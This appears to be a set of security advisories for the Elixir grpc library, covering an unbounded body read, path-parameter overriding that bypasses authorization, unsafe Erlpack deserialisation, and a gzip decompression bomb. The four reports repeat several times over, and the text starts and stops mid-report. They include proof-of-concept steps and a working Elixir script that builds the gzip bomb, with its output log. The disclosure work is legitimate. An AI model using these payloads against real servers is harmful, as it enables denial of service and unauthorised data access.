VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00

Summary

In the HTTP-to-gRPC transcoding layer of the grpc Hex package, query-string and request-body parameters can silently overwrite path-bound fields when building the decoded protobuf request struct. An authenticated attacker who can reach a transcoded endpoint can substitute any path-bound identifier (e.g. user_id from /users/{user_id}/profile) with an arbitrary value, bypassing authorization, multi-tenancy, and ownership checks that rely on the path-derived field.

Details

All three clauses of GRPC.Server.Transcode.map_request/5 (grpc_server/lib/grpc/server/transcode.ex) use Map.merge/2 with path bindings as the first argument, giving them the lowest merge precedence. Path bindings are extracted by the router from the matched URL template and should be the authoritative resource identifiers, but query-string and body parameters overwrite them. The decoded protobuf struct handed to the handler carries the attacker's value instead of the router's.

PoC

1. Deploy a transcoded gRPC service with a route like GET /users/{user_id}/profile where the handler authorizes access based on request.user_id.
2. Send: GET /users/me/profile?user_id=victim
3. The decoded request struct has user_id = "victim" — the authorization check passes for the victim's resource, not the caller's.
4. Alternatively, for a POST with body: "*": send {"user_id": "victim"} in the JSON body.

Impact

Affects applications using grpc ≥ 0.8.0 with HTTP transcoding enabled that rely on path-bound fields for authorization or tenant isolation. Fixed in 1.0.0. An authenticated attacker can read or modify any other user's resources exposed via transcoded endpoints.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/8aaf3d3a8c4c7b08ac65e9c6f254e0d24da1d048
• Patch commit: https://github.com/elixir-grpc/grpc/commit/33b6a095dbc91c6dee3c7b90893d7d74952e82e4

Summary

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 directly on the raw gRPC message body without the :safe option. Any unauthenticated peer that can reach a gRPC endpoint with Content-Type: application/grpc+erlpack can crash the entire BEAM node via atom table exhaustion or, if a decoded fun term flows into a call site that invokes it, achieve remote code execution inside the server process.

Details

Root cause — lib/grpc/codec/erlpack.ex implements decode/2 as a bare :erlang.binary_to_term(binary) call with no :safe flag, no size limit, and no type validation. This has two independent exploitation paths:

1. DoS via atom exhaustion — BEAM atoms are never garbage-collected and the global atom table is bounded (~1,048,576 entries). A crafted payload encoding large numbers of fresh atoms saturates the table and crashes the entire VM, taking down all applications on the node.

2. RCE via fun materialization — Without :safe, binary_to_term/1 reconstructs fun and external-fun terms from wire data. If the decoded value reaches any call site that applies it (e.g. Enum.map, Task.async, direct invocation), attacker-controlled code executes inside the server process.

Configuration requirement: GRPC.Codec.Erlpack is not registered by default and must be explicitly added to the server's codecs option.

PoC

1. Start a gRPC server with codecs: [GRPC.Codec.Erlpack].
2. Open an HTTP/2 connection to the server.
3. Send a gRPC-framed POST to any RPC path with Content-Type: application/grpc+erlpack and a body of :erlang.term_to_binary(fn -> <malicious_code> end).
4. The server's decode/2 materializes the fun; any downstream call site that invokes the decoded value executes the attacker's code.
5. For DoS only: send payloads encoding fresh atoms in a loop until the atom table is exhausted and the VM crashes.

Impact

Affects grpc ≥ 0.4.0. Any server that explicitly registers GRPC.Codec.Erlpack is vulnerable to unauthenticated node-level DoS and potentially RCE.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/25bcc569fe2cc4478531a6c546c923205fc751c9
• Patch commit: https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00

Summary

In the HTTP-to-gRPC transcoding layer of the grpc Hex package, query-string and request-body parameters can silently overwrite path-bound fields when building the decoded protobuf request struct. An authenticated attacker who can reach a transcoded endpoint can substitute any path-bound identifier (e.g. user_id from /users/{user_id}/profile) with an arbitrary value, bypassing authorization, multi-tenancy, and ownership checks that rely on the path-derived field.

Details

All three clauses of GRPC.Server.Transcode.map_request/5 (grpc_server/lib/grpc/server/transcode.ex) use Map.merge/2 with path bindings as the first argument, giving them the lowest merge precedence. Path bindings are extracted by the router from the matched URL template and should be the authoritative resource identifiers, but query-string and body parameters overwrite them. The decoded protobuf struct handed to the handler carries the attacker's value instead of the router's.

PoC

1. Deploy a transcoded gRPC service with a route like GET /users/{user_id}/profile where the handler authorizes access based on request.user_id.
2. Send: GET /users/me/profile?user_id=victim
3. The decoded request struct has user_id = "victim" — the authorization check passes for the victim's resource, not the caller's.
4. Alternatively, for a POST with body: "*": send {"user_id": "victim"} in the JSON body.

Impact

Affects applications using grpc ≥ 0.8.0 with HTTP transcoding enabled that rely on path-bound fields for authorization or tenant isolation. Fixed in 1.0.0. An authenticated attacker can read or modify any other user's resources exposed via transcoded endpoints.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/8aaf3d3a8c4c7b08ac65e9c6f254e0d24da1d048
• Patch commit: https://github.com/elixir-grpc/grpc/commit/33b6a095dbc91c6dee3c7b90893d7d74952e82e4

Summary

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 directly on the raw gRPC message body without the :safe option. Any unauthenticated peer that can reach a gRPC endpoint with Content-Type: application/grpc+erlpack can crash the entire BEAM node via atom table exhaustion or, if a decoded fun term flows into a call site that invokes it, achieve remote code execution inside the server process.

Details

Root cause — lib/grpc/codec/erlpack.ex implements decode/2 as a bare :erlang.binary_to_term(binary) call with no :safe flag, no size limit, and no type validation. This has two independent exploitation paths:

1. DoS via atom exhaustion — BEAM atoms are never garbage-collected and the global atom table is bounded (~1,048,576 entries). A crafted payload encoding large numbers of fresh atoms saturates the table and crashes the entire VM, taking down all applications on the node.

2. RCE via fun materialization — Without :safe, binary_to_term/1 reconstructs fun and external-fun terms from wire data. If the decoded value reaches any call site that applies it (e.g. Enum.map, Task.async, direct invocation), attacker-controlled code executes inside the server process.

Configuration requirement: GRPC.Codec.Erlpack is not registered by default and must be explicitly added to the server's codecs option.

PoC

1. Start a gRPC server with codecs: [GRPC.Codec.Erlpack].
2. Open an HTTP/2 connection to the server.
3. Send a gRPC-framed POST to any RPC path with Content-Type: application/grpc+erlpack and a body of :erlang.term_to_binary(fn -> <malicious_code> end).
4. The server's decode/2 materializes the fun; any downstream call site that invokes the decoded value executes the attacker's code.
5. For DoS only: send payloads encoding fresh atoms in a loop until the atom table is exhausted and the VM crashes.

Impact

Affects grpc ≥ 0.4.0. Any server that explicitly registers GRPC.Codec.Erlpack is vulnerable to unauthenticated node-level DoS and potentially RCE.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/25bcc569fe2cc4478531a6c546c923205fc751c9
• Patch commit: https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00

Summary

In the HTTP-to-gRPC transcoding layer of the grpc Hex package, query-string and request-body parameters can silently overwrite path-bound fields when building the decoded protobuf request struct. An authenticated attacker who can reach a transcoded endpoint can substitute any path-bound identifier (e.g. user_id from /users/{user_id}/profile) with an arbitrary value, bypassing authorization, multi-tenancy, and ownership checks that rely on the path-derived field.

Details

All three clauses of GRPC.Server.Transcode.map_request/5 (grpc_server/lib/grpc/server/transcode.ex) use Map.merge/2 with path bindings as the first argument, giving them the lowest merge precedence. Path bindings are extracted by the router from the matched URL template and should be the authoritative resource identifiers, but query-string and body parameters overwrite them. The decoded protobuf struct handed to the handler carries the attacker's value instead of the router's.

PoC

1. Deploy a transcoded gRPC service with a route like GET /users/{user_id}/profile where the handler authorizes access based on request.user_id.
2. Send: GET /users/me/profile?user_id=victim
3. The decoded request struct has user_id = "victim" — the authorization check passes for the victim's resource, not the caller's.
4. Alternatively, for a POST with body: "*": send {"user_id": "victim"} in the JSON body.

Impact

Affects applications using grpc ≥ 0.8.0 with HTTP transcoding enabled that rely on path-bound fields for authorization or tenant isolation. Fixed in 1.0.0. An authenticated attacker can read or modify any other user's resources exposed via transcoded endpoints.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/8aaf3d3a8c4c7b08ac65e9c6f254e0d24da1d048
• Patch commit: https://github.com/elixir-grpc/grpc/commit/33b6a095dbc91c6dee3c7b90893d7d74952e82e4

Summary

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 directly on the raw gRPC message body without the :safe option. Any unauthenticated peer that can reach a gRPC endpoint with Content-Type: application/grpc+erlpack can crash the entire BEAM node via atom table exhaustion or, if a decoded fun term flows into a call site that invokes it, achieve remote code execution inside the server process.

Details

Root cause — lib/grpc/codec/erlpack.ex implements decode/2 as a bare :erlang.binary_to_term(binary) call with no :safe flag, no size limit, and no type validation. This has two independent exploitation paths:

1. DoS via atom exhaustion — BEAM atoms are never garbage-collected and the global atom table is bounded (~1,048,576 entries). A crafted payload encoding large numbers of fresh atoms saturates the table and crashes the entire VM, taking down all applications on the node.

2. RCE via fun materialization — Without :safe, binary_to_term/1 reconstructs fun and external-fun terms from wire data. If the decoded value reaches any call site that applies it (e.g. Enum.map, Task.async, direct invocation), attacker-controlled code executes inside the server process.

Configuration requirement: GRPC.Codec.Erlpack is not registered by default and must be explicitly added to the server's codecs option.

PoC

1. Start a gRPC server with codecs: [GRPC.Codec.Erlpack].
2. Open an HTTP/2 connection to the server.
3. Send a gRPC-framed POST to any RPC path with Content-Type: application/grpc+erlpack and a body of :erlang.term_to_binary(fn -> <malicious_code> end).
4. The server's decode/2 materializes the fun; any downstream call site that invokes the decoded value executes the attacker's code.
5. For DoS only: send payloads encoding fresh atoms in a loop until the atom table is exhausted and the VM crashes.

Impact

Affects grpc ≥ 0.4.0. Any server that explicitly registers GRPC.Codec.Erlpack is vulnerable to unauthenticated node-level DoS and potentially RCE.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/25bcc569fe2cc4478531a6c546c923205fc751c9
• Patch commit: https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00

Summary

In the HTTP-to-gRPC transcoding layer of the grpc Hex package, query-string and request-body parameters can silently overwrite path-bound fields when building the decoded protobuf request struct. An authenticated attacker who can reach a transcoded endpoint can substitute any path-bound identifier (e.g. user_id from /users/{user_id}/profile) with an arbitrary value, bypassing authorization, multi-tenancy, and ownership checks that rely on the path-derived field.

Details

All three clauses of GRPC.Server.Transcode.map_request/5 (grpc_server/lib/grpc/server/transcode.ex) use Map.merge/2 with path bindings as the first argument, giving them the lowest merge precedence. Path bindings are extracted by the router from the matched URL template and should be the authoritative resource identifiers, but query-string and body parameters overwrite them. The decoded protobuf struct handed to the handler carries the attacker's value instead of the router's.

PoC

1. Deploy a transcoded gRPC service with a route like GET /users/{user_id}/profile where the handler authorizes access based on request.user_id.
2. Send: GET /users/me/profile?user_id=victim
3. The decoded request struct has user_id = "victim" — the authorization check passes for the victim's resource, not the caller's.
4. Alternatively, for a POST with body: "*": send {"user_id": "victim"} in the JSON body.

Impact

Affects applications using grpc ≥ 0.8.0 with HTTP transcoding enabled that rely on path-bound fields for authorization or tenant isolation. Fixed in 1.0.0. An authenticated attacker can read or modify any other user's resources exposed via transcoded endpoints.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/8aaf3d3a8c4c7b08ac65e9c6f254e0d24da1d048
• Patch commit: https://github.com/elixir-grpc/grpc/commit/33b6a095dbc91c6dee3c7b90893d7d74952e82e4

Summary

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 directly on the raw gRPC message body without the :safe option. Any unauthenticated peer that can reach a gRPC endpoint with Content-Type: application/grpc+erlpack can crash the entire BEAM node via atom table exhaustion or, if a decoded fun term flows into a call site that invokes it, achieve remote code execution inside the server process.

Details

Root cause — lib/grpc/codec/erlpack.ex implements decode/2 as a bare :erlang.binary_to_term(binary) call with no :safe flag, no size limit, and no type validation. This has two independent exploitation paths:

1. DoS via atom exhaustion — BEAM atoms are never garbage-collected and the global atom table is bounded (~1,048,576 entries). A crafted payload encoding large numbers of fresh atoms saturates the table and crashes the entire VM, taking down all applications on the node.

2. RCE via fun materialization — Without :safe, binary_to_term/1 reconstructs fun and external-fun terms from wire data. If the decoded value reaches any call site that applies it (e.g. Enum.map, Task.async, direct invocation), attacker-controlled code executes inside the server process.

Configuration requirement: GRPC.Codec.Erlpack is not registered by default and must be explicitly added to the server's codecs option.

PoC

1. Start a gRPC server with codecs: [GRPC.Codec.Erlpack].
2. Open an HTTP/2 connection to the server.
3. Send a gRPC-framed POST to any RPC path with Content-Type: application/grpc+erlpack and a body of :erlang.term_to_binary(fn -> <malicious_code> end).
4. The server's decode/2 materializes the fun; any downstream call site that invokes the decoded value executes the attacker's code.
5. For DoS only: send payloads encoding fresh atoms in a loop until the atom table is exhausted and the VM crashes.

Impact

Affects grpc ≥ 0.4.0. Any server that explicitly registers GRPC.Codec.Erlpack is vulnerable to unauthenticated node-level DoS and potentially RCE.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/25bcc569fe2cc4478531a6c546c923205fc751c9
• Patch commit: https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

